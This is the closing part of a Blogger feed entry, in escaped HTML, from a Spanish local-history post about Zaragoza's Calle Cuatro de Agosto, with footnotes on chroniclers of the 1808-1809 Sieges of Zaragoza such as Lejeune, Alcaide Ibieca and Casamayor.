&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;Louis-François
Lejeune (1775-1848) participó en los Sitios de Zaragoza. Además de general fue
pintor y litógrafo, en 1840 escribió &lt;u&gt;Los Sitios de Zaragoza&lt;/u&gt; obra en la
que rindió homenaje a la resistencia de los zaragozanos.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;2&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;Agustín
Alcaide Ibieca (Zaragoza, 1778 - idem, 23 de marzo de 1846) &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;fue jurista y combatió en ambos Sitios. En
1831&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;escribió &lt;u&gt;Historia de los dos
Sitios&lt;/u&gt; en la que señala que fueron 66 las bocas de fuego.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;3&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;Faustino
Casamayor fue durante muchos alguacil de corte en la Real Audiencia. Durante
los Sitios (1808-1809) escribió día a día los acontecimientos ocurridos en lo
que se conoce como &lt;u&gt;Diario de Casamayor.&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;4&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;Lo
recoge en su libro el general Lejeune&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
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&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/584545625727734551/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/08/el-4-de-agosto-de-1808.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/584545625727734551'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/584545625727734551'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/08/el-4-de-agosto-de-1808.html' title='La calle Cuatro de Agosto en Zaragoza'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGAgJ0FT1VazEr7pGUGb6xW7bjPlvmlyT-GLAGbjPdoAHc6ydb02TiZWXyLCik3ETQSdJvCpEhyI2sMEiwhvkYzWe_KpO2xKSlit293_YvDVKx4z_OTkImHnrfzQvVpVinpkugJqLozLFn/s72-c/calle+4+agosto.jpg" height="72" width="72"/><thr:total>0</thr:total></entry></feed>